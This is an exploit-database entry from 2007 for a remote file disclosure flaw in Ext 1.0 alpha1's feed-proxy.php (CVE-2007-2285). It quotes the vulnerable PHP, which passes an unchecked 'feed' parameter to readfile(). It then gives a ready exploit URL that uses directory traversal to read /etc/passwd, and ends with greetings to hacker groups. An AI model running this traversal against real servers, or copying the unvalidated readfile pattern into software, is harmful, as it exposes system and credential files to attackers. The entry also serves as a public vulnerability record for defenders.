Ext 1.0 - 'feed-proxy.php?feed' Remote File Disclosure

Author: Alkomandoz Hacker
type: webapps
platform: php
port: 
date_added: 2007-04-24 
date_updated:  
verified: 1 
codes: OSVDB-35561;CVE-2007-2285 
tags: 
aliases:  
screenshot_url:  
application_url: 

#  ext 1.0 alpha1 (feed-proxy.php) Remote File Disclosure
# D.Script: http://yui-ext.com/deploy/ext-1.0-alpha1.zip
# Discovered by: Alkomandoz Hacker
# Homepage: http://www.asb-may.net - mohandko.com - sniper-sa.com - tryag.com
# V.Code In /examples/layout/feed-proxy.php

----------------------------------------------------------

header('Content-Type: text/xml');
       readfile($feed);
       return;
}
?>

----------------------------------------------------------

# Exploit:[Path_ext]/examples/layout/feed-proxy.php?feed=http../../../../../../etc/passwd

# Greetz To: AsbMay's Group & City Of Ghost Team

# milw0rm.com [2007-04-25]